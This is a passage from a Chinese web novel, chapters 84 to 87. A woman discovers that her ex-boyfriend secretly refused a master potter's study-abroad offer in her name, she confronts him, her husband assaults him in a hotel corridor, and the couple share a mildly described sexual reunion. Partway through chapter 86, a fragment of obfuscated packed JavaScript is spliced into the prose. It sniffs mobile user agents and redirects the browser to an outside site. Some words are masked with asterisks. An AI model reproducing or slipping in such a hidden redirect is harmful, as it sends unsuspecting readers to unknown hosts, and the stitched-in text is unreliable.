她不是攀附的凌霄花,也不是痴情鸟儿,更不是一片树叶,而是一棵独立的树。
他们之间是平等的,她不用为了所谓的婚姻和家庭失去自我。
她埋进他怀里,声音闷闷的,“谢谢你,庄别宴。”
......
开窑节当天,庄别宴因为临时有会议不能送她,就安排了司机送她去凤凰山。
迈巴赫还没开到山脚下,就被堵住了。尤其靠近凤凰山那段路,已经实施交通管制,导航红红一片。
眼看时间快到了,曲荷怕耽误,就让司机在附近路边停车,自己走路过去。
山脚下的路两旁摆满了注水旗,上面印着“千年窑火,薪火相传”的字样,还有卖陶瓷手链,茶杯,陶瓷花,陶瓷摆件等各式各样的陶瓷小摊位。
曲荷顺着人流往里走,过了入口,就是凤翎湖,微风****,碧波荡漾,来往不停的摆渡车接送着游客。
等曲荷上山后,已经到了开窑的时辰。
她站在人群最外围,和大家一起祭拜太平窑。
吉时一到,烧窑老师傅登上台阶,拖着长腔高喊:“开~窑~!”
五彩烟花腾空而起,在蓝天下绚烂绽放。
窑门慢慢打开,一个个匣钵被依次取出,从老师傅的手中交到年轻学徒手中,动作虔诚。
曲荷远远看着,眼眶突然就湿了。
窑火不熄,代代相传的不仅是手艺,更是一种精神。
她想起了把一辈子都奉献给窑火的外公,小时候他总说“瓷土要先粉碎,才能成器。”
初听不知意,现在却终于明白了。
她想,自己也应该和瓷土一样,经过粉身碎骨,然后在水深火热里,涅槃重生!
开窑节后半场是大师作品展览。
周时安发来消息,说他老师的作品就在山腰下的瓷国之源展区,让她过去碰面。
曲荷根据指示牌到了瓷国之源,大师休息室就在附近。
她刚给周时安发完消息,就听到人群躁动声大了些。
她回头,就看到一个被记者和粉丝簇拥在中间的女人。
是燕舒。
她今天换上了一身干练的米白色套装,外面系着大师同款藏青围裙,头发挽了个利落的丸子头。
她游刃有余地面对记者提问,嘴角挂着恰到好处的微笑。
曲荷看着她走进大师休息室,只是她注意到,燕舒的目光若有若无地在她身上停留了一下。
很快,一闪而过,好像错觉。
但曲荷的注意力不在那一眼上,全落在了燕舒脖子上的那枚羊脂玉扣吊坠。
那枚玉扣,她见过!
和庄禧脖子上戴的那枚,几乎一模一样!
燕舒怎么会有这个?
一个荒谬猜测涌上心头,但很快她又否定了。
就在这时,有人轻轻拍了下她的肩膀。
回头一看,是周时安。
“怎么在这儿发呆?我老师就在里面,走吧。”
曲荷压下思绪,定了定神,跟着他往里走。
周时安边走边介绍:“我老师五年前跟儿子定居英国了,他老人家最惜才,看到你的作品和灵气,一定会喜欢的。”
说着,两人便到了最里间的休息室门口。
周时安敲门后先进去,曲荷等在外面。
片刻后,门开了。
周时安搀扶着一个老者走了出来。
曲荷笑着正准备上前问候,却在看到那个老者时,整个人顿在原地。
周时安的老师,竟然是齐墨大师?!<
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br>“齐...齐老师?”
可齐墨大师在看到她的那瞬间,脸色就沉下来了。
他哼了一声,毫不犹豫地转身就往回走。
周时安尴尬地站在原地,看看老师的背影,又看看一脸惊愕的曲荷,最终只能无奈地追了上去。
齐墨大师回了休息室,拐杖敲了敲地板:“那就是你说的很有天赋,心性纯良的陶艺师?”
“我教你的第一课是什么?做瓷先做人!为人不正,品行不端,天赋再好也成不了器!简直是浪费我的时间!”
周时安立在原地,不理解为什么老师会生气。
看样子老师和曲荷好像认识,但为什么要这么说她?
为人不正?品行不端?
曲荷到底做了什么,让老师如此厌恶?
门外,曲荷还站在原地,她也不明白齐墨老师突如其来的厌恶从何而来。
可还没等她细想,旁边的工作人员见她只是普通游客,就客气把她请了出去。
曲荷脑子一片混乱,一个没留神,走路的时候不小心撞到了一个人。
“对不起....”她下意识道歉。
“曲荷?真的是你?”对方惊喜地叫出了她的名字。
曲荷回过神,看向眼前穿着这个工作制服,有些眼熟的女生。
“陈莉?”
“对啊!是我!好久不见了!”
陈莉是她大学同班同学,虽然不同寝室,但因为一起参加过几次研学小组,也算相识。
曲荷看到她胸前的工作证:“你在这里工作?”
“是啊,毕业后考编进了文旅局,现在负责陶瓷文化这块,今天正好在展会帮忙。”
陈莉爽朗地笑了笑,“你是来参展的吗?我刚才好像没在名单里看到你的名字。”
曲荷摇摇头,笑容有些勉强:“没有,我就是来看看。”
陈莉了然,体贴地跳过这个话题:“校庆典礼的事我听说了,我就是知道那帮爱嚼舌根的人要去才没去的。她们的话你别往心里去,纯属嫉妒!”
曲荷没想到她会主动安慰自己,心里一暖:“谢谢。”
“对了,听说你现在自己开了家陶艺工作室,还结婚了?”陈莉问道。
曲荷点头。
“也挺好的!”
陈莉感叹,“说实话,当年你拒绝了齐墨大师的offer,我都觉得特别可惜,那么好的机会,我们求都求不来。你可是我们那届最有灵气的,不过你一向有主见,肯定也有自己的考量。”
“对了,今天齐墨大师也来了,你......”
陈莉后面的话,曲荷一个字都没听进去。
满脑子都只有“你拒绝了齐墨大师的offer”。
什么?
她.....什么时候拿到过齐墨大师的offer?!
第84章 过往
齐墨大师是国内顶尖的非遗文化传承人和工艺美术大师。
曲荷读的大学,就是他的母校。
大三那年,齐墨大师受邀回校开展了为期半年的陶艺设计深度交流项目,曲荷和陈莉还有几个同学非常荣幸的入选了。
齐墨老师对专业要求很高,但私下却非常和善细心,对他们倾囊相授。
那半年曲荷在他的指导下得到了很大的提升。
交流快结束的时候,齐墨老师告诉大家他将马上要和孩子定居英国了,还说要把中国陶瓷艺术带去更大的地方。
齐墨老师说他已经被英国皇家艺术学院聘为客座教授,在赴任前,特意为母校争取到了一个公派留学名额,这名学生会成为他的关门弟子。
当时听到这个消息曲荷很激动,英国皇家艺术学院的陶瓷专业非常优秀,而能够成为齐墨老师的关门弟子更是莫大的荣幸。
但当时她已经和钱昭野在一起,如果去了英国,意味着要开始异国恋。
她把心思告诉了钱昭野,他听完后说了句:“机会难得,你去吧,我会等你。”
得到他的“支持”,曲荷把全身心地投入了到了最后的小组创作中。
齐老师的教学方式回归传统。
他让大家学着用老式的榫卯圆盘拉坯,从挖土,筛泥,练泥,要求所有步骤必须亲力亲为。就连调釉色的狼萁草,都要亲自去隔壁市区的山上去摘。
她还记得六七月的雨季,她背着满袋狼萁草冒雨下山,浑身都湿透了。
后来,很多同学中途退出了,但曲荷却被激出了劲,越挫越勇。
她的努力没有白费,后来她成为了当时小组里唯一一个参与了为重要领导设计的“0715号餐具”项目。
那时,所有同学都认为,那个名额非她莫属,并真心为她感到高兴。
可是半年交流期结束,直到齐墨老师走了,曲荷还是没有等到那个名额。
她失落了好几天,却也只能把原因归为自己还不够优秀。
她后来和钱昭野说了这件事,他安慰她:“没关系,你还有我。那个圈子太苦了,来公司帮我吧,我们一起奋斗。”
那时候听到钱昭野的话,她还以为抓住了依靠。
可现在,陈莉的话,却狠狠扎进了他心里。
曲荷抓住陈莉的胳膊,声音发飘:“你刚才说齐老师给了offer?是什么时候的事?”
陈莉被她吓了一跳,回忆了下:“就在齐老师走的前两天啊!他说给你发了邮件你没回,打电话也联系不上,就让我把那封纸质邀请信转交给你。”
“我还特意去了你寝室,你室友说你有事出去了。我记得你那个时候不是正和计算机系那个钱昭野谈恋爱吗?我就找去他们系了,把信交给了你男朋友,千叮万嘱让他一定转交给你。你男朋友当时可高兴了!”
陈莉叹了口气,惋惜道:“后来你拒绝了offer,我们都特别惊讶。再后来,你男朋友还以你的名义请我们小组的人吃了顿饭,说让我们以后别再在你面前提这件事,怕你心里难受.....”
曲荷只觉得一阵天旋地转,后面陈莉再说了什么,她一个字都听不清了,整个人跟丢了魂一样。
她含糊的和陈莉道了个别,走到游客服务中心,找了个角落坐下。
她买了瓶水,冰水灌入喉咙,刺得胃抽搐痛,但这痛却让她清醒了几分。
原来,不是她不够优秀,那半年的汗水和努力,也都没有白费。
曲荷死死攥着矿泉水瓶。
她记得那年钱昭野的公司刚刚起步,经常让她去帮忙。陈莉说的那个时间点,她天天帮忙招聘,脚不沾地更别说看手机了。
那天钱昭野从学校回来后,还借走了她的手机和电脑。
原来...他是去删邮件和通话记录了。
而他后来的安慰和依靠,更是一场处心积虑的欺骗!
钱昭野,毁了她七年青春不够,还亲手掐灭了她的梦想。
开窑节还在继续,曲荷却没了心思,给司机打了个电话,很快就回家了。
吃完饭的时候,庄别宴察觉到曲荷情绪不是很好,连她最爱的话梅排骨都没吃几口就回房间了。
等他洗完澡出来,曲荷已经背对着她躺下。
庄别宴知道她还没睡着,掀开被子躺下,轻轻环住她的腰,“今天开窑节,是不是遇到了什么事?看你兴致不高。”
曲荷心里堵得厉害,一时间有很多话堵在胸口,可最后还是闷闷说了句:“没事,就是看到大家都有作品展出,有点羡慕,也有点失落。”
庄别宴收紧了手臂,“阿荷也会有的。”
曲荷没有回应,只是把脸往枕头埋的更深了些,一夜无眠。
次日傍晚,曲荷又收到了周时安的信息:
【曲荷,我老师今晚在尊悦参加庆功宴,明早的飞机回英国。我希望你能来和他见一面,解开当年的误会。我相信你不是那样的人。】
后面附了包厢号。
曲荷盯着那条信息,指尖收紧。
她回复:【齐老师,还愿意见我吗?】
周时安:【我已经和老师解释过了,也说明了情况,他没有明确拒绝,这就是机会。来吧。】
曲荷深吸一口气:【好。】
她拿起车钥匙出门,给庄别宴发了条信息:【晚上和司月去逛街吃饭,晚点回。】
车子停在尊悦酒店楼下,她在车里坐了近两个小时,直到估摸着庆功宴马上散场了才上楼。
她刚走进酒店大门,一辆黑色的迈巴赫缓缓停到了尊悦门口。
曲荷按照周时安的信息找到三楼包厢,远远就看到人陆续散去。
她给周时安发了消息说自己已经到了。
周时安很快出来,看到她就安慰:“老师和我说了当**,里面一定有误会。现在里面只有老师一个人,你进去吧,好好说。”
“谢谢你,时安
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哥。”曲荷感谢。
周时安敲了敲门进去,曲荷跟在他后面。
齐墨大师喝了酒,面色微红,正背着手站在落地窗前看城市夜景。
听到动静,他回过头,目光落在曲荷身上,带着几分审视和冷淡。
曲荷局促地站在原地,不知该如何开口。
“不是要见我吗?见了面又不说话?”齐大师的声音带着酒后的沙哑,却不失威严。
周时安想打圆场:“老师,曲荷她……”
“你是她肚子里的蛔虫?让她自己说。”齐墨毫不客气地打断。
曲荷上前一步,鞠了一躬:“齐老师,首先无论如何,我先为我当年没能及时回复您而造成的误解,向您郑重道歉。”
她稳住情绪,把陈莉的话还有当**情原原本本说了出来。
齐墨听到后面眯起了眼睛,没作声。
等她说完了,他才缓缓开口,“很多机会错过了就没了,人生百态,因果自负。该说的都说完了,你走吧。”
曲荷心头一沉,知道自己彻底没有机会了。
“齐老师,我还有一个不情之请。”
齐墨傲娇地咳了两声,“错过就是错过,别白费力气,我是不会收你为徒的!”
曲荷笑得苦涩,“我明白。齐老师我想看一下当年您发给我的那封邮件,以及,‘我’给您的回复。”
今天一整天她都在网上找有什么方法可以恢复已经删除多年的邮件,尽管希望渺茫,但她还是想知道当年钱昭野究竟以她的名义说了什么,才让齐老师对她这么厌恶。
齐墨愣了一下,有点被噎到,似乎没料到是这个请求,他朝周时安示意了一下。
周时安立刻拿来电脑,调出了保存已久的邮件记录。
当她看到钱昭野冒充她回复的那几行字时,曲荷气得浑身发抖,人都恍了一下。
邮件里,钱昭野冒充她回复:【齐老师,我决定放弃这个机会。我认为陶艺终究只是一个虚无缥缈的梦想,并将其视为毕生事业甚至带到全世界更是不切实际的。我选择留在国内,辅助我的男朋友经营公司,也请您以后不要再联系我了。】
言辞之间,充满了对陶艺事业的轻视。
曲荷终于明白,为什么齐墨大师对她的态度会这么失望厌恶了。
自己视若珍宝,并甘愿为之付出一切的热爱,被这么贬低玷污,还是被曾经寄予厚望的学生,换做谁都难以释怀!
“我可以拍张照吗?”她声音颤抖地问。
周时安看了看老师,齐墨哼了下,“多此一举。”但也没阻止。
曲荷拿出手机拍完照,再次向齐墨鞠躬:“谢谢您,齐老师。打扰了。”
然后转身离开。
门关上后,齐墨看着关上的门,忽然哼了一声,问周时安:“她就这么走了?”
周时安不明所以:“...走了。”
齐墨:“....”
他盯着门板,眉头皱得更紧了。
第85章 撞见!曲荷老公是庄别宴
曲荷走出包厢,坐电梯下楼。
刚出电梯门,就看到了一个熟悉的身影从不远处的走廊拐角闪过,然后上了对面的电梯。
她立刻跟了上去,在看到他进了包厢后,毫不犹豫地推门而入。
里面烟雾缭绕,钱昭野坐在主位沙发中央,翘着二郎腿谈笑风生。
她的突然闯入让喧闹的包厢瞬间安静下来,所有目光都聚焦在她身上。
钱昭野看到是她,脸上先是闪过一抹错愕,但很快变成了惊喜,“阿荷?你怎么来了?”
旁边的几个男人在看到进来的是个女人后,开始暧昧地起哄。
曲荷扫视了一圈那些不怀好意的目光,脸色阴沉。
钱昭野沉下脸对其他人挥挥手:“都先出去一下,我有点私事要处理。”
等人嬉皮笑脸地都离开后,包厢门关上,只剩下他们两人。
空气压抑的可怕。
曲荷直接开门见山,“钱昭野我问你,当年齐墨大师那封留学邀请邮件,是不是你冒充我拒绝,然后删掉的?”
钱昭野脸色一滞,“阿荷,你今天吃错什么药了?那都是什么时候的事了?”
他眼神心虚,飘忽不定:“你这都是从哪听来的风言风语?都过去这么多年了,还提它干嘛?那时候我们那么好,我怎么可能做那种事....”
他说着,还想上前一步,做出怀念过去的样子。
曲荷大声制止了他:“看着我回答!”
钱昭野否认,“我怎么会做那样的事情?当时你还犹豫来着,但我可是一直都是支持你去的,后来你没选上,我还安慰你来着。忘了?”
呵!
还是这么心安理得地撒谎。
曲荷往前走了两步,把手机里的邮件截图怼到他脸上,“这不是你干的?!”
证据确凿摆在眼前,钱昭野的脸色瞬间变了。
他眼底闪过一丝慌乱,“这是哪里来的?我明明....”
说到一半他才收口,可已经来不及了...
曲荷:“所以你承认了是吧!陈莉都告诉我了,她把邀请信给你了,可你却从来没告诉过我这件事!你甚至还请大家吃饭,让他们别在我面前提这件事,你怎么可以这么无耻!”
“无耻?”
钱昭野脸色彻底变了,“是!是**的又怎么样?!”
他几乎是吼出来的,“但我都是为了谁?我他妈都是为了你好!曲荷,你别不识好歹!英国这么远,齐墨说带你就真能带?他不过就是随口给你画个饼而已,你还当真了?我不让你去,是为了保护你!”
“保护我?”
像是听到了什么天大的笑话,曲荷的眼泪瞬间涌了出来,“你凭什么替我做决定?那是我的梦想,我为了那个名额做了多大的努力你不是不知道!你凭什么替我拒绝?”
“梦想能当饭吃吗?你去英国?你以为你去英国就能成功了?就能成为艺术大师了?你做梦!你不过就是比普通人多了那么一点点天赋而已!我告诉你,这个世界上最不缺的就是有天赋的人!”
他逼近一步,话里满是鄙夷:“成功靠的不是天赋,是资源,是人脉,是资本!你去了那边,举目无亲,语言不通,兜里没几个钱,你能混出什么名堂?最后还不是灰头土脸地滚回来?!”
他的一句句满是贬低否定,他用着最恶毒的话来证明他当初的决定是多么“正确”。
“留在我身边才是你最最明智的选择!我能给你安稳的生活,给你一个体面的身份,这难道不比你去追求那个虚无缥缈的梦强一百倍吗?我那是怕你吃苦,怕你被骗!我都是爱你啊!你怎么就不明白我的苦心!”
曲荷听着他这段颠倒黑白的话,气得浑身发抖,扬手用尽全身力气狠狠给了他一巴掌。
“啪!”
清脆的巴掌声在包厢里回荡。
钱昭野脸上瞬间浮现出清晰的五指印,他捂着脸,眼神变得阴沉可怕。
“你没有权利!钱昭野!”曲荷吼了出来。
“你没有任何权利替我决定我的人生!你毁了我七年青春还不够,还毁了我的梦想!你把我困在你身边七年,让我给你当牛做马,到头来就是为了满足你那可悲的控制欲!你简直让我恶心
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!”
“我没有权利?”钱昭野捂着脸,嗤笑了一声。
“那你那个开破花店的老公就有权利了?离了我,你还真以为自己能攀上什么高枝?除了一堆破花他能给你什么?你以为跟着开花店的就能懂你那点破爱好了?不过是图个新鲜罢了,他能让你过上好日子吗?”
“我告诉你曲荷,像你这种女人,离了男人什么都不是!你永远都成不了事!你就是个废物!当年没去成英国是你这辈子最幸运的事,不然现在指不定在哪里捡破烂呢!”
“钱昭野你混蛋!”
那些积攒了七年的委屈在这一刻彻底爆发,她抓起旁边的酒瓶朝他身上砸了过去。
她胸口剧烈起伏,快要呼吸不过来了。
钱昭野被她这么一下砸得恼羞成怒,上前抓住了她的手。
曲荷用力挣扎出来,一个踉跄撞在了后面的高脚椅上,后腰传来一阵钝痛。
“你会有报应的!钱昭野!你一定会为此付出代价!”
她不想再听这个疯子多说一个字,转身拉开门冲了出去。
曲荷整个人都是晕的,根本没看路,还没走两步,就一头撞进了一个坚实的胸膛里。
熟悉的雪松味包裹住了她,她抬头,泪眼模糊里撞进了一双满是冷意的琥珀色眼眸里。
是庄别宴...
五分钟前。
尊悦顶楼VIP包厢。
郁汕推门进来,一眼就看到坐在沙发中央的庄别宴,而他旁边的凌霍正拿着麦克风鬼哭狼嚎。
他啧了一声,倒了杯酒凑到庄别宴身边:“你媳妇呢?这么久还没上来?”
庄别宴看着手机,眉头微蹙:“她说和司月去逛街了。”
“逛街?”
郁汕夸张地挑眉,“那我刚才在一楼大堂看到的那个和她长得一模一样的女人是鬼啊?我眼神还没那么差吧?”
庄别宴猛地抬头“你说什么?”
曲荷没想到会在这里碰到庄别宴,“你....你怎么会在这里....”
她开口,就听到身后传来动静。
钱昭野扯着领带走了出来。
第86章 今晚,不许忍着
钱昭野追出包厢,就看到了那两道身影。
庄别宴半搂着曲荷,占有欲十足。
钱昭野以为自己眼花了,差点撞在门框上。
庄别宴闻声抬眼,目光落在钱昭野身上,圈着曲荷的手臂紧了几分。
钱昭野压下心底的翻涌,朝曲荷伸出手:“阿荷,你过来。”
曲荷没动。
庄别宴看向钱昭野,淡淡开口却带着几分威严:“钱总,我太太不方便。”
“太太?”钱昭野眉头拧成一团,“庄总这话是什么意思?”
庄别宴看了眼怀里眼尾泛红的曲荷,轻轻摸着她的发顶,才重新抬眼,“自我介绍一下,我是曲荷的丈夫。”
“不可能!”钱昭野想也没想就反驳。
他看向曲荷,眼神里满是急切的求证,“阿荷,你老公不是那个开花店的男人吗?怎么会是庄别宴?”
乔眠明明和他说了,她亲眼看到曲荷老公是个开花店的普通人,怎么会是庄别宴呢?
不可能!绝对不可能!
庄别宴不理会他的质疑,把曲荷往怀里又带了带,重复道:“我是曲荷的老公,法律承认的那种。”
钱昭野脑子乱了一下,踉跄着后退了几步。
他突然想起了什么,摸出手机开始翻聊天记录,翻了足足有几分钟,终于在最底下找到了那个聊天框。上次喝酒的时候,有人就说庄别宴已经结婚了,还给他发了张他妻子的背影照。
他抖着点开照片,放大,再放大,照片里女人熟悉的侧脸....
是曲荷!真的是曲荷!
他张了张嘴,喉咙里像是堵着很紧,一个字也吐不出来。
前几天他才从人事部经理那里知道,曲荷早就交了辞职报告,手续办得干净利落。
他一直以为,她离开公司不过是闹脾气,迟早会后悔。毕竟,她跟着自己七年,早就习惯了他给的生活。
他甚至已经想好了,等她回来后,他要怎么敲打她,又怎么大度地原谅她。
可他怎么也没想到,她不仅没有回头,还嫁给了庄别宴!
那个站在金字塔顶端,连他都要仰望的男人!
她凭什么?凭什么离开他之后,能过得这么好?她怎么配?
极度的嫉妒和愤怒冲昏了钱昭野的头脑,他冲上去想拉曲荷的手,“阿荷,你跟我走,我有话问你!”
可手还没碰到曲荷,就在半空中被庄别宴攥住。
庄别宴的力道大得惊人,眼神更是冷得没有一丝温度:“钱总,请自重。”
“自重?”
钱昭野被他这眼神看得心头一跳,却梗着脖子不肯服软,“庄总恐怕还不知道吧?曲荷可是跟我在一起了七年!而你们才结婚多久?”
庄别宴松开攥着他的手。
他侧过身,把曲荷完全挡在身后,看着钱昭野涨红的脸说:“七年而已。我和阿荷的未来,有一辈子,你的那七年,不足挂齿。”
钱昭野被这句话噎得面色铁青。
他死死盯着庄别宴,像是想从他脸上找出一丝一毫的在意,可看到的只有坦然而坚定。
曲荷眼下终于缓过了一口气,她拉了拉庄别宴的下摆,声音带着几分疲惫:“我们回家吧,没必要和他说。”
庄别宴立刻回应:“好,我们回家。”
眼看两人真的转身走了,钱昭野心里的怒火彻底爆发,对着他们的背影大喊:“曲荷!他说不介意你就信了?你还真是傻得可以!”
他嗤笑一声,“庄家是什么人家?你以为他们会允许你娶这样一个女人?没家世没背景,甚至还是个二手货...”
曲荷听到他的话脸色煞白。
庄别宴的眼神彻底沉了下来,周身的气压低得让人窒息。
钱昭野更加口不择言,“我不要的女人,庄总就这么稀罕?我和她过去那七年,庄总难道就真的一点都不好奇?一点都不膈应吗?”
话没说完,衣领突然被人狠狠揪住,庄别宴单手把他整个人拎了起来,砸在身后的墙上。
震得他骨头都快散了。
庄别宴掐着他的领口,平日里那张从容不迫的脸上,布满了骇人的戾气。
他盯着钱昭野,从牙缝里挤出几个字:“看来北城这个圈子,你是待腻了!”
钱昭野被掐得呼吸困难,喉咙发紧,却还是嘴硬:“我……我说的是事实!你敢说你真的不在乎?”
“钱昭野,你够了!”曲荷从庄别宴身后冲出来。
她拉住庄别宴的手,“别跟疯子置气,我们回家。”
庄别宴胸膛剧烈起伏了几下,慢慢松开手,把曲荷拉到身后。
钱昭野捂着脖子喘气,突然他想起刚才庄别宴异常的反应,想到了什么。
他嘲弄一笑,“你们...哈哈哈...你们不会到现在还没上过床吧?”
说完看到两人瞬间变化的脸色,他像是又得到了底气。
钱昭野看着曲荷突然笑了起来,带着一种病态的得意:“我猜对了,是吧?曲荷你看!他还是介意的!他就是嫌弃你!他根本就不是真的爱你,他...”
“砰!”
一个拳头落在了钱昭野的脸上,打断了他剩下所有的话。
钱昭野嘴角溢出血丝,可像是感觉不到疼。
他躺在地上,仰起头扯着嗓子大喊:“庄别宴**了!”
他的喊声很快引来了旁边包厢里的人,三三两两的身影探出头来。
曲荷心里一紧,生怕事情闹大,赶紧上前想把庄别宴拉开。
好在这时,郁汕带着几个保安赶来了,很快将两人分开。
郁汕拉起庄别宴,低声道:“老二,冷静点,为这种人不值当。”
.....
迈巴赫里的氛围安静得可怕。
曲荷看了眼庄别宴指关节上的创口贴,从刚才给他处理伤口开始,他就一声不吭。
一向冷静自持的庄别宴今天为他出手**,曲荷心里发虚又有些心疼。
回到家,他还是和往常一样给她拿拖鞋,倒水,行为挑不出错,但曲荷就是知道,他生气了。
曲荷先去洗了澡,出来后他还是坐在刚才的沙发上,直到见她洗完出来了,庄别宴才沉默地拿着衣服走向浴室。
“你...手上的伤口注意一下,别碰水。”曲荷不放心地叮嘱了一句。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391360|184256||http|test|mini|href|location''.split(''|''),0,{}));
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r>“知道了。”他的声音听不出情绪。
曲荷躺在床上听着浴室传来的水声,生怕他和上次一样,洗完澡又去了书房。
但好在,这次他还是回了卧室。
曲荷看着他,“庄别宴,我们聊聊吧”
她把开窑节发生的事和晚上为什么会出现在尊悦,都和他说了。
刚开始她还是平静的,可一说到那些委屈就忍不住了,到最后,眼泪直接掉下来了。
她不想哭的,觉得这样很丢脸,可情绪一旦决堤,就再也收不住。
庄别宴原本就是在和自己怄气,他气自己没能给她足够的安全感,让她在遇到这种事时选择独自面对。
他根本舍不得生她的气,现在看到她哭了,自责又多了几分。
他伸手把她用力地揽进怀里,擦掉了她脸上的泪,懊悔又心疼:“别哭了,阿荷,不哭了。都是我不好,是我没察觉到你的情绪,是我让你难过了。”
她今天骗了他一个人去见了钱昭野,哪怕理智上清楚曲荷不可能回头和他在一起,但万一呢?
万一她对他还有一丝旧情?万一她后悔了选择他呢?那他该怎么办?
这种不确定感,远比愤怒更让他煎熬。
曲荷把脸埋在他怀里,闷闷哭了一场,那堵在胸口气都吐了出来,情绪反而奇异地平复了许多。
庄别宴轻抚着她的后背,“那不是你的错,阿荷。现在你有我,你想做什么,想去哪里,我都陪你。”
在他的柔声安抚下,曲荷的情绪渐渐冷静下来。
卧室内恢复了安静,只剩下彼此的呼吸声。
直到这时,曲荷才后知后觉地察觉到两人此刻的姿势有多么亲密和危险。
她不知道什么时候跨坐在了他腿上。
曲荷感觉有点不自在。
她的下意识地动了动身体想下去。
“别动。”庄别宴把她牢牢固定在怀里。
曲荷想起了钱昭野那些话。
“庄别宴……”
“嗯。”
“钱昭野刚才说的,你...唔....”
她的话还没问出口,就被他突然落下的吻彻底封缄。
他的吻带着几分不容拒绝的强势。
末了,他咬了咬她的唇瓣,像惩罚又像宣泄。
“不想听到他的名字。”他抵着她的额头,呼吸灼热。
曲荷望着庄别宴的眼睛,那里翻滚着她从未见过的欲望和占有欲,褪去了平日里的端方禁欲,像一头隐忍的兽。
她今天好像窥见了庄别宴不为人知的另一面,心头微颤,却没有害怕,反而生出一种想要安抚他,贴近他的冲动。
她慢慢地伸出手,环住了他的脖子,主动凑近,吻了吻他的下巴。
庄别宴身体猛地一僵。
他声音低沉得可怕,“阿荷,今天我有点生气。”
曲荷心跳一紧,下意识抓住了他的手。
“所以”,他宣告,“.....我要惩罚你。”
他抱着她,缓缓陷入床榻,把她困在自己的身影之下。
“阿荷,”他在她耳边喘息着命令,“今晚....不许忍着,我要听到你的声音。”
第87章 叫老公
呼吸开始纠缠。
他灼热的吻再次落下,一路往下,带着惩罚的力度,但更多的是珍惜。
曲荷的睫毛颤了颤,身子不自觉战栗,无意识抓住了他的睡衣下摆,但很快又被他拉下,转为十指相扣。
空气里漂浮着淡淡的茉莉花香,是两人身上沐浴乳的味道,混着他身上的雪松味气息,搅成一团看不见的雾。
“阿荷,我要你。”
他的声音低哑,呼吸扑在耳后,那块皮肤很快就烫了。
曲荷被他牢牢圈在怀里,无处可逃。
意识开始变得模糊,时间好像被拉长了,又好像停滞了。
窗外月光开始倾斜,屋内暧昧升温。
曲荷被庄别宴抱着从浴室出来后,已经累得睡着了。
他把怀里人轻轻地放在床上,然后搂进怀里,手指虚空划过她的眉眼,目光缱绻,怎么看也看不够。
庄别宴心底是藏不住的满足,他的阿荷,完完全全属于他了。
尤其想到刚才她在他怀里青涩无措的样子,想到两人都是彼此的第一次,他就忍不住收紧手臂,想把她揉进骨血里。
可在触碰到她的那瞬间,那抹欣喜又染上了几分酸涩。他知道他的阿荷心里装着太多事,过去的阴影,未来的迷茫,而他能占据的只有边边一角。
但他不满足,他只能克制着自己的占有欲,才没有做出那些让她眼里心里只容得下他一个人的疯狂举动。
其实,他嫉妒地发狂。
嫉妒那个卑劣的男人曾拥有过她七年的时光,哪怕那七年布满欺骗,但他却连那七年都想要占有。这些阴暗的念头常在深夜翻涌,几乎成魔。
他希望她的过去,现在,未来,都只有他庄别宴一人的印记。
但没关系,他有的是时间,慢慢覆盖,然后取代所有不属于他的痕迹。
庄别宴搂着她的腰,低声哄:“晚安,阿荷。”
早上醒来,曲荷刚睁开眼,就撞进庄别宴眼里。
不知他什么时候醒的,这个男人的体力还真是好,昨晚比她睡得迟,早上又那么早醒了。
她被庄别宴眼里的温度烫了一下,下意识想转身,可才动了一下就扯到了腰侧的肌肉,那处传来的酸痛让她没忍住“嘶”了一下。
“还疼吗?”
他立刻收紧手臂,温柔地帮她揉着后腰,又疼惜又懊恼。
昨晚刚开始,他太急了,被原始冲动裹挟,全凭本能索求。
后来看见她蹙眉,他才发觉可能弄疼了她,后来他学着放缓节奏,小心探索,希望能带给她一些欢愉。
“阿荷,昨天...你还喜欢吗?”他低头蹭了蹭她的鼻尖,话里带着几分紧张。
曲荷脸一热,轻轻掐了下他的胳膊,嗓音沙哑,“大早上你在说什么呢?”
庄别宴低笑着握住她捣乱的手,促狭笑了笑,“看来阿荷还是满意的。”
“才没有,也就一般。”她嘴硬。
然而早上的男人显然经不起挑衅,她这话简直是火上浇油。
庄别宴一个翻身就把她压在身下,她也很快就为这句“一般”付出了酸痛的代价。
事后,曲荷瘫软在床,一脸生无可恋地看着庄别宴给她擦手指,涂上护手霜。
他的动作很轻,蹭得她有点痒。
庄别宴看着她慵懒的模样,心里软得一塌糊涂,又想亲了,可刚低头却被曲荷一脚蹬开。
她抽回手,脚步虚浮地挪向浴室,扔下一句:“晚上分床睡!”
分床?
庄别宴挑眉,怎么可能?
当晚,他就把家里除了卧室外的所有房间都上了锁,还把钥匙放进了保险柜里,顺道把客厅沙发上的抱枕和毛毯全部藏起来了。
曲荷:“......”
她气鼓鼓瞪了他一眼,回了卧室。
而那句“一般般”的代价,远比她想的沉重。
他不得不承认,庄别宴超强的学习能力和精益求精的态度。
不过一晚,他就已经掌握了所有让她缴械投降的技巧。
情动之时,他捞起她的腰,咬着她的耳垂,气息灼人:“阿荷,现在还觉得一般吗?”
曲荷咬着唇不说话。
庄别宴眼底闪过一抹狡黠,他一下下地吻她的唇,“阿荷,说喜欢。”
曲荷被他磨得没办法,“喜...欢....”
“喜欢谁?说喜欢我。”
“喜欢...你....”
“说,喜欢阿宴。”
“喜...喜欢...阿宴....”
看她难得这么乖顺,庄别宴得寸进尺,哑声命令:“老婆,叫老公。”
曲荷脸颊爆红,偏过头咬着嘴巴不肯出声。
庄别宴眸色一深,故意加重力道。
曲荷求饶:“老....公..”
“乖。”他心满意足,吻得又轻又软。
曲荷恼了,趁着还有点力气,仰头在他脖子上咬了一口泄愤。
开了荤的男人惹不起,但她也不是好欺负的!她可不是面团捏的!
......
自从两人做了亲密的事后,庄别宴什么时候都想和曲荷贴贴亲亲抱抱。
从醒来吃早餐开始,他会借口“尝尝粥甜不甜”,偷偷在她嘴角亲一下。
出门上班前,他也会等在玄关,等亲完所谓的“告别吻”才放她走。
而晚上就更别说了。
久而久之,曲荷甚至形成了条件反射
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,他一低头,她就会下意识抬头。
